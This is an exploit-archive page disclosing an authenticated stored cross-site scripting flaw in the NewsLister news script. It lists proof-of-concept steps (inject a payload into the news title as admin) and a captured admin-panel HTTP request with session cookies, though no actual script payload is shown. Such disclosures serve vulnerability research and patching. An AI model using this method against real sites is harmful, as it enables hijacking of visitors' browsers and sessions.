Newslister authenticated persistent crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-12-02 | Type : webapps | Platform : multiple
This exploit / vulnerability Newslister authenticated persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: NewsLister - Authenticated Persistent Cross-Site Scripting
# Date: 2020-11-27
# Exploit Author: Emre Aslan
# Vendor Homepage: https://www.netartmedia.net/newslister.html
# Tested on: Windows & XAMPP

==> PoC <==

1- Login to admin panel.
2- Enter the payload to title value.
3- View the news. XSS will be execute.

==> HTTP Request <==

GET /admin/index.php?page=add HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: host/admin/index.php?page=home
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: AuthUser=administrator~da1907216877e31462c14b35db67de32~1606484275; PHPSESSID=nn5gq66nla4lfs47fq9eoctvuf